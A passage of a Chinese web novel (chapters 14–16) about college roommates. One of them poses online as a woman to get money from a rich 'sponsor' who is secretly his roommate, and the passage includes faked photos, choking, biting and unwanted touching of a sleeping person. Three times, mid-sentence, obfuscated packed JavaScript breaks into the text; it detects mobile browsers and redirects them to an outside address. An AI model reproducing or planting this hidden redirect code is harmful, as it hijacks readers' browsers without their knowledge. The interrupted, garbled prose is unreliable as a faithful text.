“谁心虚了?”郁朝希噌的一下从椅子上站起来,“……你本来就是这样的人,事儿哥、龟毛怪、醉酒男、二手烟供应商……我、我哪个说的不对……” 郁朝希的声音慢慢弱下去,因为祁莘时的脸色越来越凝重阴郁。 他默默向后退了两步,突然,一只大手掐住了他的肩膀。 郁朝希听到祁莘时咬牙道:“你再说一遍。” 为了他的人身安全着想,郁朝希认为自己还是先把嘴闭上吧。 “我让你再说一遍,你耳朵聋了吗?” 郁朝希磕磕巴巴地开口:“……事儿……” 刚说了两个字,祁莘时就开始捏他。 这个人力大如牛,郁朝希被他捏得疼死了。 他疼得一边抽气,一边扒拉祁莘时的手:“是你让我说的!” 郁朝希受不了了。 他凭什么要忍这个大少爷,不就是因为拿了他两张购物卡吗。 现在他找到了有钱金主,不差祁莘时这点钱! 郁朝希大叫:“你放开我!我有东西给你!” 肩头的力道马上松了,祁莘时冷冷地问:“什么?” 郁朝希把卡包拿出来,抽出两张购物卡,一把拍到祁莘时胸前:“还你的卡!我刷了一千六百五十多,凑个整,给你转一千七。” 郁朝希拿起手机就要转账,祁莘时看着那两张卡,问:“我什么时候给过你这种东西?” “你助理给的,我和刘佑齐一人一张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538480|203893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刘佑齐说他用不到,就给我了。” 郁朝希说:“人家多有先见之明,知道你这个人难相处,所以才提前给室友点好处,要不是拿了你的卡,我才不忍你!” 他把转账页面亮给祁莘时看:“一千七百块,一分不少。” 郁朝希绕开祁莘时去洗澡,“我告诉你祁莘时,以后你最好对我客气点,要不然我……” 话还没说完,郁朝希的脖子就受到了袭击,他受惊似的“啊”地叫了声。 那只手从后游移到前方,牢牢握住郁朝希的脖颈。 “要不然你怎么样?说啊。” 郁朝希本来就是要把话说完整的,都怪祁莘时打断他。 “……要不然我、我对你不客气……” 话音刚落地,祁莘时低低的笑声就钻进了郁朝希的耳朵里。 脖颈是全身上下最脆弱的要害之一,他现在这样被祁莘时掐着,像蛇被打中了七寸。 郁朝希试图解救自己的要害,手刚碰到祁莘时,这人就呵斥他拿开。 郁朝希心跳加速,生怕祁莘时一使劲把他掐晕,只能憋屈地把手放下。 “你怎么对我不客气?” 郁朝希心想这个人八成是神经病,他这么一个人畜无害的软柿子,还能怎么对他不客气,当然只是过过嘴瘾了。 “……我说着玩的,”郁朝希缩缩脖子,“你别欺负我了……” 从语气上来听,郁朝希非常有诚意,但祁莘时觉得他是装的。 于是他扣住郁朝希的下颌,把他垂下的头抬了起来。 一张长在圆脸上左眼尾的红痣,不会蕴含风情,只会让他的主人显得更加乖顺。 尤其这人还在刻意装可怜…… 下巴是尖的,手指稍稍一伸,就能摸到细腻的柔软。 郁朝希的脸被捏了两下,那只手意犹未尽,停下了约有短短几秒,又开始捏了。 “……你干什么?”郁朝希被摸得心里发毛,“……我以后不说你坏话了还不行吗?” 祁莘时:“和我道歉。” “啊?” 郁朝希不敢相信自己的耳朵,谁道歉?他? 他要和祁莘时道歉? 倒反天罡! “你耳朵是不是有问题,我离你这么近,一句话还要我说两次。” “没有……” 郁朝希只是不敢相信。 祁莘时的手指陷进这团柔软里,他慢条斯理地说:“你也知道自己说我坏话不对,难道不应该道歉?” 郁朝希:“……应该。” “对不起……” 祁莘时前倾身体,盯着郁朝希:“你说什么,我听不到。” 耳朵聋就去治好吗? 郁朝希抿了抿嘴:“这么近还听不见……” 他不想再和祁莘时纠缠下去,大声说:“对——不——起——” “听见了吗?”郁朝希问道。 “嗯。” “……那怎么还不放开我?” 祁莘时松开手,按着郁朝希的肩膀推了推,说:“你等着,我先去洗。” “你不是一直都在宿舍?” 祁莘时拿出一件浴袍,闻言扭头看向郁朝希:“是,怎么了?” 郁朝希咬着嘴唇说:“没怎么。” 等人一进浴室,郁朝希就捧着手机和他的金主诉苦: ——三月风:哥哥,我室友欺负我,他掐我脖子[黄豆大哭] 14. 照片x3 这条消息刚发过去,郁朝希就紧急撤回,改成室友掐他肚子。 模糊一下信息,以免露馅。 郁朝希坐在椅子上,疯狂地向他的金主谴责祁莘时。 手指一直在屏幕上敲个不停,敲完后再添油加醋一番,成功把他的室友描述成了一个神经病。 十几分钟后,祁莘时洗完澡走出浴室。 郁朝希放下手机,起身时余光在祁莘时身上扫了下—— 他愣了半秒钟,又偷偷瞥了眼。 浴袍的系带在腰间松垮地搭着,胸前的皮肤裸露出大半,祁莘时正拿着一条毛巾擦拭湿发。 他低着头,那双霜刃般的眼睛也垂着。 劲韧的肌肉半遮半掩,力量和美感并存。= 郁朝希酸得心里冒泡,像做贼似的乱瞟。 太过分了,祁莘时怎么能拥有这么强壮的身体? 郁朝希心里别扭,拿起手机给金主发消息: ——三月风:真的不能理解,我室友竟然不穿衣服就在宿舍里走来走去的,好辣眼睛[黄豆无语] 金主可能在忙,一条消息也没回他。 郁朝希本想等浴室里的热气散一散再去洗,但时间已经很晚,明天还要上课,他只能捞起睡衣和浴巾就进去了。 祁莘时在椅子上坐下,打开手机后发现,某个笨蛋给他发了足足八条消息。 ——三月风:哥哥,我室友欺负我,他掐我肚子[黄豆大哭] 祁莘时脑海中缓缓升起一个“?”,他什么时候掐郁朝希的肚子了? 越往下看,祁莘时的眉头皱得更紧。 在郁朝希的描述中,他的情绪非常不稳定,脾气差,爱动手,包括薅郁朝希的头发、拧他的耳朵、脸蛋和肚子,事也多…… 祁莘时气得咬牙,他什么时候干过这种事? 刚打开花洒冲了一会儿,郁朝希就热得受不了了,他关了浴室的灯,把门打开,决定摸黑洗。 没了门的阻隔,哗哗的水声灌进祁莘时的耳朵里。 洗澡不关门? 祁莘时盯着郁朝希发来的最后一条消息:我室友竟然不穿衣服就在宿舍里走来走去的,好辣眼睛。 额边的青筋开始突突直跳,他不穿衣服?! 祁莘时冷笑一声,他哪次不是穿得整整齐齐的?不像某人,睡裤都要短到腿根了。 郁朝希飞快冲了个澡,擦干后套上睡衣,三两下收拾好卫生间,拿起手机就往上铺爬。 金主回消息了,郁朝希点开一看: ——X:你的室友确实很过分 ——X:掐得重吗? 郁朝希打字:重,他比我高十公分,力气很大! ——X:拍张照片我看看 郁朝希靠在床头愣了下。 拍张照片…… 他撩起上衣,把睡裤往下扯了扯,打开手机里的相机,对准腰部拍了张。 土豆老师只教了P图和拍氛围感照片,所以郁朝希立马上网搜索“怎么在皮肤上P出新鲜掐痕”。 网友很给力,什么教程都有。 郁朝希怕金主等急了,火急火燎地速P了张,P完后检查了下没有差错,把照片给X发了过去。 ——三月风:图片 ——三月风:哥哥,你看他下手多狠,都给我掐成这样了! 祁莘时点开照片,某人为了装女,特地凹了造型,把本来就细窄的腰扭得线条感更强。 新鲜的淤痕在腰侧蔓延,乍一看像被人虐待了,但经不住仔细打量。 刚刚那截爬梯子的小腿在祁莘时脑海中闪过,他鬼使神差发去一条消息。 但发送成功的瞬间,他又急忙撤回了。 郁朝希一直捧着手机等金主回消息。 突然跳出来的信息转瞬即逝,他盯着屏幕,缓慢地眨了眨眼。 ……要、要看他的腿? 郁朝希把手机往床上一丢,当没看见。 消息已经撤回了,他完全可以当做没看见的吧。 毕竟还撤得那么快…… 郁朝希抬起自己的腿看了看,因为太瘦,完全属于不用P,就能把照片发过去糊弄金主的地步。 不过好端端地怎么要看他的腿? 看肚子郁朝希还能理解,因为他刚编瞎话说室友掐他肚子了,金主这是在关心他。 他也没说室友掐他腿啊…… 金主不会要变异成油腻猥琐男了吧? 千万不要啊! 郁朝希心想,要是金主再来骚扰他,他就立马拿钱跑路。 他伸手把手机摸过来,金主又给他发消息了,内容是让他涂点药酒,把淤痕揉开。 郁朝希松了口气。 他猜测,刚刚他的金主一定是手滑了。 说不准不只和他一个人聊天,那条“看看腿”八成是发给别人的。 土豆老师说,要认真对待网恋,把它看作自己的事业。 显而易见,郁朝希因为敬业,而取得了非常大的成就—— 周收入达到了惊人的两万三千元! 这和天上掉馅饼有什么区别? 郁朝希裹着被子傻呵呵地笑了笑,那两万块是意外收入,但剩下的三千是稳定收入。 这样一算,他每个月能稳定到手一万左右。 不过,这是在把金主哄高兴的前提下。 郁朝希躺在床上展开美好畅想,掰着手指头算他什么时候能退休。 祁莘时死死攥着手机,指腹压得泛白。 他反反复复地看那几条消息,一小时前,某人口口声声地承诺,不会再说他的坏话,但转眼就和别人造谣。 嘴里没一句实话…… 血液上涌,祁莘时被气得头脑发晕,而对面的笨蛋已经开始和他道晚安了。 祁莘时看了眼时间——22:30。 真是每天雷打不动地这个点睡觉。 但把他气成这个样子,还想休息? 郁朝希正要关上手机,金主突然蹦出来一条消息: ——X:拍两张腿照发过来 像捧了块烫手山芋,郁朝希嫌弃地把手机往旁边一扔。 什么鬼?腿照?这不是耍流氓吗? 郁朝希别扭了两分钟,不情愿地捡起手机,敲字:可是哥哥我想睡觉了。 这条刚发过去没十秒钟,金主就回复了: ——X:两张照片而已,不会花你很长时间 郁朝希咬着手指,正在想借口狡辩,没等他找到合适的理由,金主的消息又来了: ——X:不愿意算了 郁朝希心里咯噔一下,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538481|203893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么都来不及思考,生怕金主跑路,发消息说他正在拍呢。 正在拍? 祁莘时黑着脸脚下一蹬,连人带椅往后滑了半步。 他仰起头,见郁朝希把腿抻直了搭在墙上,拿着手机拍了几张照。 一分钟后,这些照片出现在了两人的聊天页面上。 咚—— 手机被重重摔在桌上,祁莘时起身走向卫生间。 这个不争气的东西,让他拍腿照就拍? 丢人现眼…… 祁莘时打开水龙头,捧着水往脸上泼。 郁朝希紧张地盯着屏幕,生怕金主不满意,或者再看出来他是个男的了。 时间太紧,他P图P得匆忙,没怎么细化。 郁朝希点开图片,放大了一点点地仔细观察。 脚背是绷紧的,硬是在视觉效果上把腿拉长了一截。 再加上他一年四季穿长裤,两条腿没怎么见过太阳,肤色较浅…… 应该看不出来吧,郁朝希惴惴不安的。 他的金主怎么一直不回消息,是不满意吗? 郁朝希觉得自己拍得还挺好的。 ——三月风:哥哥怎么不说话,是觉得我的腿不好看吗[黄豆委屈] ——三月风:我都说了不拍了[黄豆哭泣] 哐当—— 祁莘时一把摔上卫生间的门。 郁朝希正处于高度紧张中,被这突然其来的声响惊得心脏直跳,他不满地啧了声,探出头说: “你能不能轻点,我都睡了。” 祁莘时抽出一张面巾纸擦脸,闻言冷笑道:“睡了?睡没睡你自己清楚。” “那你也应该轻点,关门不用使那么大劲,万一再把门……” “坏了我赔,”祁莘时关了灯,“可以闭嘴了吗?” 郁朝希悻悻地躺了回去,他把被子拉过头顶,窝在被窝里等金主回消息。 屏幕发出的光洒在祁莘时那张阴沉的面颊上,他靠在床头,瞟了对面一眼。 ——X:是不好看 ——X:比例不好,线条也不好,像根竹竿 蒙在被子里的郁朝希天塌了,他默默嘴了两句“不懂欣赏”,给金主发了两张痛哭的表情包。 祁莘时面无表情地继续打字: ——X:之前发来的腰部照片也是 郁朝希看到这条消息两眼一黑,他上滑聊天记录,找到金主说的那张照片。 眼前迅速变得模糊,郁朝希蜷缩着身子,肩膀一耸一耸地抖动起来。 祁莘时关了手机,准备躺下休息。 郁朝希独自悲伤了二十分钟,把枕头的一角哭湿,他捧着手机,给金主发了条“那怎么办啊”的消息。 十分钟后,金主没回他。 二十分钟后,金主还是没回他。 郁朝希现在还不想退休,他得再骗X一点钱才行。 被抛弃的阴影笼罩着他,郁朝希控制不住地大哭起来,他吸了吸鼻子,抽出一张纸巾擦鼻涕。 吵死了…… 这个笨蛋又在干什么? 祁莘时从床上坐了起来。 他紧紧盯着发出噪音的源头,拿起手机看了眼。 ——X:…… ——X:要怎么办是你需要考虑的事 15. 暴打流氓三两下 消息刚发过去,对面被子里的抽咽声立刻变大了。 聊天页面弹出来两条消息: ——三月风:可是我也不知道怎么办,我就长这样啊…… ——三月风:哥哥我们还能网恋吗[黄豆大哭][黄豆大哭] 祁莘时眉头紧蹙,他起身弯腰走到床尾,扯了扯郁朝希的被子: “哭什么?你不睡也不让别人睡?” 抽咽声停顿了一瞬,但紧接着又旁若无人地响了起来。 作为一个处在失业边缘的穷鬼,郁朝希现在没工夫理这位大少爷。 他哭得视线模糊,在屏幕上敲敲打打,试图挽回自己的摇钱树。 ——三月风:哥哥喜欢什么样的?我也可以变成那样的…… 祁莘时额角的青筋暴起,恨铁不成钢地在心里骂这个笨蛋不争气。 消息一条接一条地蹦出来,祁莘时一个字一个字地仔细看过。 他的耐心像沙漏疯狂流逝,终于,在看完郁朝希又一条“丢人现眼”的挽回后,他无法再继续忍耐了。 呼啦一声,郁朝希的被子被从脚到头掀开。 祁莘时看到他侧躺着,上衣卷到腹部以上。 视线在那截腰上扫了下,祁莘时意识到自己可能想错了。 郁朝希拍那张照片时可能没凹造型。 豆大的泪珠挂在湿透的睫毛上,郁朝希惴惴不安地咬着嘴唇。 他的目光死死黏在手机屏幕上,眼神虔诚无比,仿佛在注视着救世主。 而现在,这种由金钱堆砌起来的虔诚被打断了,郁朝希先是怔愣了一瞬,紧接着脸上的呆愣变成了疑惑。 祁莘时持续地观察着他—— 他眨了眨眼,那颗泪珠立马顺着脸颊滑落。 他从床上爬了起来,眼睛睁得老大,怒视着祁莘时。 “你干什么?!你有病啊!” “大半夜的哭什么,哭丧?” 郁朝希伸手抹了把脸,罕见地硬气了一把:“关你什么事,又不是哭你?!” “你说什么?”祁莘时火了,“再说一遍。” “凭什么你让我再说一遍,我就要照做?听力不好就去医院看耳……” 话还没说完,郁朝希就见祁莘时怒气冲冲地迈过床尾的栏杆,不到两秒钟,他就被推着肩膀一把按到了墙上。 黑暗带给他的勇气一下见底了,郁朝希唯唯诺诺的,连说话的音量都小了大半截: “你……你干什么?” 祁莘时打开手机,屏幕发出的光照亮了郁朝希的脸。 眼圈和鼻尖都是红的,模糊的薄红透过皮肤浮在两颊。 郁朝希半垂着眼,因为表层覆有一层水光,而显得眼睛格外明亮。 祁莘时伸出手,在他左颊上那团没褪干净的婴儿肥上捏了两把。 手感很好,一如既往的好,笨蛋在自己脸上涂了面霜,摸起来滑滑的。 “我让你再说一遍,听不到?” 床不大,郁朝希背靠着墙,肩膀被祁莘时按着,两条腿被他压着,脸也被捏了。 金主还要跑路…… 郁朝希不高兴,非常不高兴,他试图把腿抽出来,但祁莘时压得很紧,他动弹不得。 被校园霸凌了,郁朝希脑海中浮现出这个想法。 祁莘时的整只手慢慢罩在他的脸上,手掌的温度比他的脸颊要高一些。 这个人非常不客气地用手指捏他的脸颊,捏得他嘴唇都嘟起来。 “我让你再……嘶……” 祁莘时的话音戛然为止,因为郁朝希一口咬住了他的虎口。 郁朝希紧咬着不放,直到舌头尝到了一点血腥味才松口。 他慢慢地抬起眼,瞥了瞥祁莘时那张黑成锅底的脸。 真无语了,明明他才是受害者! 郁朝希听到祁莘时低低地笑了两声,笑得他头皮发麻。 下一秒,他的手腕被捉住,祁莘时张口咬住腕侧。 郁朝希大叫了一声,抬手朝祁莘时脸颊上扇了两下。 力道并不重,郁朝希自以为很轻,但祁莘时的脸色更沉了。 剩下的一只手腕也被钳住,祁莘时还在咬他。 郁朝希刚想拿头撞人,就被祁莘时未卜先知地抬起他的手,压着他的额头,把他按在了墙上。 祁莘时足足咬了他两口,才把他放开。 郁朝希认为这不公平,他才只咬了祁莘时一下而已。 祁莘时抬起受伤的右手,血已经顺着手掌流到小臂。 “你干的好事。” 郁朝希也抬起右手:“你也咬我了。” 手腕内侧印有两枚整齐的牙印。 祁莘时起身,单手握着栏杆下床,走到墙边打开灯,“下来,给伤口消毒。” 郁朝希磨磨蹭蹭地不想动,“你不是还有左手可以用吗?” 祁莘时站在地板上,抬头逼视着郁朝希,“我让你下来。” 郁朝希哦了声,不情不愿地下了床。 他撕开棉签的包装袋,在碘伏里蘸了两下,轻轻涂在祁莘时虎口的咬伤上。 好像有一点严重,明明他也没咬多狠,看来大少爷不仅事儿多,还娇贵。 消完毒后,郁朝希用纱布把伤口缠了两圈,最后打上一个蝴蝶结。 “好了,”郁朝希站起身,“我能去睡觉了吗?” “不能,你给我去门外站着。” “有病啊,我凭什么听你的?” 祁莘时:“那你问我干什么?” 郁朝希冷哼一声,转身把鞋甩在地板上,踩着横杆爬上床。 他和祁莘时之间的友谊彻底破碎了,碎到了用金钱都不可能修复的地步! 郁朝希趴在床上,打开手机看了看。 他的金主依旧很高冷,一条消息都没回他。 郁朝希叹了口气,重新把自己蒙进被子里,眼泪汪汪地盯着屏幕。 不多时,祁莘时关灯上床。 他的手机还扔在郁朝希床上。 “打开手电筒,我的手机在你这儿。” 郁朝希一把扯开薄被,嘟哝了一句事真多。 他一只手拿着手机,另一只手抖落开被子。 祁莘时的手机被挤在墙边。 拿到手机后,祁莘时第一件事就是去看郁朝希有没有再发消息来。 结果是没再发。 他懒得安抚,随手转了一点钱。 几乎是立刻,郁朝希就回了消息。 ——三月风:这么晚了,哥哥怎么还没睡? ——三月风:不要给我转账了,我不是为了钱…… 祁莘时:…… 如果对面的人没发出闷闷的笑声,以及在床上滚来滚去的话,他也许真的会信 ——X:哦,这样吗,那你退回吧 笑声兀地收歇,裹在被子里的人不动了。 郁朝希咬着指甲,紧盯着那行冰冷的字:那你退回吧。 人设不能倒。 郁朝希的手指停在一万块的转账上方,试探了几次都没点下去。 半分钟后,郁朝希忍痛退回。 ——三月风:哥哥明天不是还要上班吗,早点休息,不要太辛苦了[大眼黄豆] 郁朝希把被子扯下来一些,露出整张脸,他举着手机看了好一会儿,还是调理不好。 马上要到手的一万块飞了。 他捂着心口,心想这样不行,他得卖卖惨。 于是,郁朝希把祁莘时欺负自己的事告诉了X,添油加醋必不可少。 祁莘时的眼皮跳了几下,什么叫“室友把我的手咬出血了”? 到底谁把谁咬出血了? ——X:严重吗?我看看伤口 P图大师再次上线。 对面突然发出一瞬刺眼的光,祁莘时知道这是郁朝希在拍照。 他不耐烦地“啧”了声,“你看看几点了?真当宿舍只住了你一个人?” 郁朝希死不悔改,丝毫不认为自己做错了,理直气壮地说: “我平常睡觉的时候,宿舍的两盏灯都开着呢,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538482|203893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也知道宿舍不是你一个人的,相互体谅一下不行吗?” 郁朝希飞速P图,一分钟就搞定了。 ——三月风:图片 ——三月风:你看哥哥,他有多过分[黄豆大哭] ——三月风:我流了好多血,一直流到小臂上 祁莘时:…… ——三月风:我不想和他住一间宿舍了,打算去找导员换房间[黄豆大哭] 换宿舍? 祁莘时心想最好快点换,谁愿意和一个笨蛋住一起? ——三月风:哥哥不用担心,我明天就去找导员[黄豆大哭] ——X:转账 ——X:看着有点严重,明天去医院看看吧 又骗到钱了,郁朝希认为自己实在优秀。 他继续维持人设: ——三月风:真的不用给我转钱了哥哥,去医院挂号花不了多少钱的 祁莘时懒得陪郁朝希演戏: ——X:我休息了 ——三月风:晚安哥哥[爱心][爱心][爱心] 郁朝希关掉手机,他没收转账,因为推拉的回合太短。 他恋恋不舍地记挂着没进口袋的一万块,花了十分钟才睡着。 祁莘时用手指轻轻蹭着右手的虎口,嘴唇也软…… 没等他有丝毫睡意,一阵不妙声响又出现了。 祁莘时起身坐起来,在昏暗中紧盯着对面床上的人。 什么毛病? 这个笨蛋怎么每次一哭,晚上睡觉都会打呼噜? 对祁莘时来说,这种噪音和叉子挠玻璃没区别。 他等了两分钟,呼噜声仍没消失。 祁莘时来到床尾,扯了扯郁朝希的被子。 接下来会发生什么他十分清楚,郁朝希就像一头抽一下往前走一步的驴,只要他不再扯被子,呼噜声就会一直响。 这种动静太折磨人了,祁莘时感觉他的神经一直被拉紧。 郁朝希安静地躺着,薄被下几乎看不出起伏。 祁莘时掀开被子的一角,伸手轻轻握住那截细瘦的脚腕。 指腹贴着骨头,慢慢上移时祁莘时发现,郁朝希不像他看到的那样,浑身没有二两肉。 他这样想着,郁朝希突然翻了个身,侧躺蜷缩了起来。 祁莘时屏住呼吸,等了一会儿才继续动作。 正常情况下,郁朝希都会酣然一觉睡到天亮,但这晚不知道怎么回事,他竟然毫无征兆地醒了。 原因或许有两个,一个是呼吸不太通畅,另一个则是一万块的转账他没领。 郁朝希认为后者的占比要大一些。 总之,他迷迷糊糊地睁开了双眼,几乎是立刻,他就察觉到有人在摸他的腿。 而这间房里只有他和祁莘时两个人。 郁朝希来不及多想,他气愤且纳闷,强烈的情绪促使他猛地起身,挥动着双手“啪啪”扇向偷摸他的人。 “臭流氓,死变态!” 他的巴掌精准地落在祁莘时的两颊上,乌漆麻黑的,祁莘时想不明白郁朝希什么时候变聪明了。 扇了没两下,郁朝希的手腕就被死死握住,大脑光速运转,郁朝希一头撞向流氓。 只听一声闷哼,郁朝希的双手解放了,他扑向流氓,骑在这人身上拳打脚踢,不出意外地占据了上风。 但没过多久,流氓突然奋起,一把将他摁住了。 郁朝希觉得不太妙,立刻大喊大叫起来。 他的嘴被捂住,那人咬牙道:“闭嘴……” “祁……莘时,我就知道……唔唔。” 手电筒发出的光撕开漆黑,郁朝希义愤填膺地怒视着祁莘时。 他扒开祁莘时的手:“你这个变态!这种事干了不是第一次了吧,你到底对我耍过几次流氓?” 祁莘时的脸黑得像锅底,郁朝希那一下撞在了他的鼻子上。 而鼻血还没止住。 郁朝希躺在床上,两只手被他按在头顶。 吧嗒一声,血滴在了郁朝希脸上。 16. 换宿舍 那滴血还是温热的,郁朝希立马偏过头: “放开我,祁莘时你这个流氓,血都流我脸上了!” 钳着腕子的手松开了,郁朝希起身时,祁莘时已经下了床。 这人没开灯,自己跑进了卫生间。 郁朝希抹掉脸上的血,用被子把自己裹起来,警惕地盯着卫生间的方向。 几分钟后,祁莘时出来了。 郁朝希直勾勾地锁定着他—— 目标上床了 目标躺下了 这个大少爷竟然当做什么都没发生过一样?还睡觉?干出这种事了怎么还能睡得着? 脸皮真厚! 作为受害者的郁朝希不可能善罢甘休,他一只手攥着被角,另一只手打开手电筒,用刺眼的光束直射祁莘时—— 祁莘时没有反应。 放在平常,这人一定跳起来骂他了。 郁朝希叫他:“你这个流氓!不给我一个交代,休想睡觉!” 祁莘时幽幽地坐起身,抬起胳膊挡在眼前:“拿开。” “我就不拿开!等着吧,我明天就去曝光你骚扰室友,”郁朝希瞄了眼自己的左腿,“你这个臭流氓,竟然摸我的……” “闭嘴,你睡懵了在做梦吧,就你这幅德行,我会骚扰你?” 祁莘时扫了眼把自己裹得严严实实,只露出一张脸的郁朝希,又道: “长得一般,还瘦得跟条竹竿一样,你有什么可摸的,脱光了站在我面前,我都不会多看一眼……” “你!你……你太过分了!我明天就找辅导员换寝室……” “换啊,我早不想和你住一间房了。” 郁朝希快被气晕了,他握着手机的手开始抖,抖了没两下鼻子一酸,泪水迅速溢满眼眶,顺着脸颊滑落。 他又发出了仿佛鹅叫一般的哭声。 手指的骨节咔咔作响,祁莘时额边的青筋暴起。 他一定是疯了才干出那样的事…… “别哭了……” 郁朝希的脸皱成一团,一会儿工夫就把整张脸哭湿了。 “我让你别哭了……” 郁朝希背靠着墙,哭得忘乎所以。 祁莘时拿起手机给他转账,有单日转账限制,祁莘时只绑了两张卡,一共转过去30万。 他弯腰走到床位,把转账信息怼到郁朝希眼前。 这人闭着眼哭得很卖力,丝毫没察觉到他已经靠近了。 祁莘时伸手拍了他两下:“收钱。” 眼里噙着泪,郁朝希的视线一片模糊,压根看不清金额。 他抹了抹脸:“谁稀罕你的臭钱!” 话音刚落,手机就被抢走,郁朝希被按着手指解开锁屏,祁莘时点进V.X,收了第一个二十万的转账后,发现收款也有限制,第二个收不了了。 算了,明天再发一次…… 郁朝希把自己裹得更紧,“……我明天就搬走,一天也不愿意和你这个流氓住下去!” “随便……” 祁莘时下了床,郁朝希听到一阵悉悉索索的动静,很快,祁莘时出去了。 郁朝希吸了吸鼻子,拿起手机一看—— ——转账200000[已收款] ——转账100000 悬在睫毛处的泪珠要落不落,郁朝希双眼大睁,愣了几秒钟才轻轻眨了下。 三、三十万…… 祁莘时疯了吧…… 还是他眼花了? 郁朝希又数了一次零,确定自己没看错。 果然是大少爷做派,什么都只想着用钱了事! 郁朝希捧着手机一动不动。 两笔名副其实的巨款…… 郁朝希搓了搓胳膊,他的心脏在咚咚狂跳,一切情绪都在血液的加速流动中变得渺小。 祁莘时从一楼水房的窗户翻了出来。 午夜时的温度较低,他只穿着一身睡衣,冷风迎面吹来,他不觉得冷,满脑子都是: 祁莘时你竟然会干出这样的事…… 他又开始强烈地渴望摄入酒精和尼古丁…… 学校的大门是关闭状态,祁莘时翻墙出校。 他不想去酒吧,那种嘈杂的环境只会放大他的焦躁。 祁莘时开车去了距离学校不远的一处大平层。 视野好…… 郁朝希坐在床上等了一会儿,也没见祁莘时回来。 他没怎么熬过夜,现在已经12点多了,郁朝希困得上下眼皮直打架…… 他不敢睡,生怕祁莘时再对他做点什么。 没想到这个大少爷表面上人模狗样,实际竟然是个臭流氓,三更半夜地摸他的腿…… 郁朝希又把被子裹紧了些,他夜里睡得熟,都不知道祁莘时这样干多久了…… 想到这儿,他被骇得打了个哆嗦。 手电筒一下灭了,郁朝希的心脏猛地一跳。 应该是电量不足…… 他拿着手机下床,先是给手机充上电,随后打开宿舍的灯。 郁朝希在凳子上呆坐了五分钟,困得直打瞌睡。 祁莘时依旧没回来。 他想锁门,但这样不就把祁莘时关在外面了吗? 虽然此人的人品不佳,但郁朝希还是不能这样做。 他又等了会儿,直接困得快昏迷了。 郁朝希摇摇晃晃地站起来,心想不等了,再不睡觉他马上就会猝死…… 等爬上床后,郁朝希一眼就看见了床单上的血。 是祁莘时的血…… 他一把扯开床单,发现床垫上也有。 真是可恶! 算了,明天再洗吧。 郁朝希憋屈地躺下。 不对,好亮。 他没关灯…… 郁朝希唧唧歪歪地从床上爬起来,关了灯后再爬上来。 终于能睡觉了…… 翌日,郁朝希没在教室里看到祁莘时。 原来这个人也有羞耻心。 他找到导员,说要换宿舍。 导员查了宿舍的入住表,说516有一个空出来的床位,他可以搬去那儿住,或者不想去的话,就和其他同学协商。 郁朝希还没把同学认全,最多就是点头之交,而且,他有社交沟通障碍症。 更重要的一点是,谁能和祁莘时这种大少爷相处得来? 他还是别害人家了。 所以,郁朝希愉快地决定下午就搬去516。 吃过午饭,郁朝希打算回宿舍午休,爬楼爬到五楼时,他想先过去打个招呼。 “你好,我是郁朝希,是马上就要搬来的舍友……” 郁朝希站在楼梯口,默念了两遍开场白,随后抬脚走向516。 叩叩叩—— “谁啊,进来。” 郁朝希推开门:“你们好——” 迎面飘出来一股油腻腻的饭菜味,夹杂着脚臭和厕所的骚臭味。 郁朝希扭头一看卫生间,刚吃的午饭差点吐出来。 他一把捂住嘴,扭头就跑。 我的妈呀,这这这……这能住人吗?! 虽说郁朝希从小到大都是住宿舍,但内务查得很严,不合格都是要扣分的。 有些男生的卫生习惯的确不太好,但表面上还是能看得过去。 可刚刚那个宿舍…… 连个下脚的地儿都没有,从卫生间的里带出来的水把门口一片地板弄得黑黢黢的。 好恶心…… 郁朝希逃也似的回到自己宿舍,开门的瞬间,干净的空气扑面而来。 这儿简直就是天堂。 郁朝希又开始纠结了,到底搬不搬呢? 留在618有被祁莘时骚扰的风险,但这儿的居住环境实在太好,还有专门的阿姨来打扫卫生。 搬到516的话,郁朝希一想到那个脏兮兮的宿舍,就浑身刺挠。 不行不行,他住不下去,会生病的吧。 那找其他同学换宿舍呢? 郁朝希又开始难受了…… 算了,还是先钩玫瑰花束吧。 他放下书包,拿出钩织用到的东西,例行关心一下金主—— 他一早发的消息,金主还没回他。 没关系,金主可以不回。 ——三月风:哥哥午饭吃的什么? ——三月风:今天是不是工作很忙?但也要好好吃饭呀哥哥[黄豆担心][黄豆担心][黄豆担心] ——三月风:照片 ——三月风:这个我钩了一半了,是不是很好看[求夸奖][求夸奖][求夸奖] 发完消息后,郁朝希坐在桌前专心致志地开始工作。 下午三四节有课,郁朝希钩了半小时花束,午休了四十分钟,起来后继续钩。 他一般不在宿舍钩东西,因为有某人在,郁朝希不想暴露。 在下午的课上,郁朝希依旧没见到祁莘时。 上午点名时,班长说他请假了。 